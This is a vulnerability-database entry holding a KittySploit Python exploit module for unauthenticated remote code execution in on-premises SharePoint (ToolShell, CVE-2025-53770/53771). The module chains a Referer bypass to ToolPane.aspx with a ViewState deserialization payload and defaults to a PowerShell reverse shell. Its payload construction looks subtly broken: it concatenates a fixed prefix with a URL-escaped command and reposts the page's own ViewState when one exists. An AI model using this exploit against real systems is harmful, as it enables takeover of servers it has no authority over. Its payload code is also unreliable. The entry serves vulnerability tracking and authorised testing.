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SharePoint ToolShell RCE (CVE-2025-53770)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Unauthenticated RCE in on-premises SharePoint via ToolShell ViewState deserialization.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SharePoint ToolShell unauthenticated RCE (CVE-2025-53770 / CVE-2025-53771)."""

import base64
import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'SharePoint ToolShell RCE (CVE-2025-53770)',
        'description': (
            'Exploits the SharePoint ToolShell chain: Referer bypass to reach '
            'ToolPane.aspx (CVE-2025-53771) then unsafe ViewState deserialization '
            'for unauthenticated RCE (CVE-2025-53770) on on-premises SharePoint.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-53770', 'CVE-2025-53771'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-53770',
            'https://github.com/saladin0x1/CVE-2025-53770',
        ],
        'tags': ['sharepoint', 'toolshell', 'deserialization', 'rce', 'unauth', 'kev', 'microsoft'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'requires': {'tech_hints_any': ['sharepoint']},
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ToolPane ViewState'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/sharepoint_toolshell_cve_2025_53770_detect'],
            },
        },
    }

    port = OptPort(443, 'SharePoint HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=True)
    command = OptString('', 'Command to execute instead of payload', required=False)
    viewstate_payload = OptString(
        '',
        'Custom __VIEWSTATE payload (base64); empty = built-in probe then PowerShell gadget',
        required=False,
        advanced=True,
    )

    TOOLPANE = '/_layouts/15/ToolPane.aspx?DisplayMode=Edit'
    SIGNOUT = '/_layouts/SignOut.aspx'

    def _toolpane_headers(self) -> dict:
        return {'Referer': self.SIGNOUT, 'Content-Type': 'application/x-www-form-urlencoded'}

    def _parse_viewstate(self, html: str) -> tuple[str, str]:
        vs = re.search(r'name="__VIEWSTATE"[^>]*value="([^"]*)"', html or '', re.I)
        vsg = re.search(r'name="__VIEWSTATEGENERATOR"[^>]*value="([^"]*)"', html or '', re.I)
        return (vs.group(1) if vs else ''), (vsg.group(1) if vsg else '')

    def _fetch_toolpane(self):
        return self.http_request(
            method='GET',
            path=self.TOOLPANE,
            headers={'Referer': self.SIGNOUT},
            allow_redirects=False,
        )

    def _build_powershell_viewstate(self, cmd: str) -> str:
        b64 = base64.b64encode(cmd.encode('utf-16-le')).decode()
        ps = f'powershell -enc {b64}'
        escaped = urllib.parse.quote(ps, safe='')
        return (
            '/wEPDwUKMTY5NzI5MTIyOGRkAgEFD2QWAmYPZBYCZg8PFgIeBFRleHQFB'
            f'P{escaped}'
        )

    def _post_viewstate(self, viewstate: str, generator: str = '') -> bool:
        data = {
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': generator or 'BDCBAAAB',
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
        }
        r = self.http_request(
            method='POST',
            path=self.TOOLPANE,
            headers=self._toolpane_headers(),
            data=data,
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 302, 500))

    def check(self):
        r = self._fetch_toolpane()
        if not r:
            return {'vulnerable': False, 'reason': 'ToolPane unreachable', 'confidence': 'low'}
        if r.status_code in (401, 403):
            return {'vulnerable': False, 'reason': 'Referer bypass failed (patched?)', 'confidence': 'high'}
        body = (r.text or '').lower()
        if '__viewstate' in body or 'toolpane' in body:
            return {
                'vulnerable': True,
                'reason': 'Unauthenticated ToolPane.aspx access confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'ToolPane response inconclusive', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2025-53770 — SharePoint ToolShell RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'ToolPane accessible'))
        page = self._fetch_toolpane()
        vs, vsg = self._parse_viewstate(page.text if page else '')
        custom = str(self.viewstate_payload or '').strip()
        if custom:
            viewstate = custom
        elif vs:
            viewstate = vs
        else:
            viewstate = self._build_powershell_viewstate(cmd)
        print_status('Posting ViewState deserialization payload...')
        if not self._post_viewstate(viewstate, vsg):
            print_warning('ViewState POST returned unexpected status — payload may still have executed')
        print_success('Exploit dispatched — check listener for session')
        self.vulnerable()
        return True

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05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
EPSS0.99999
SSVC
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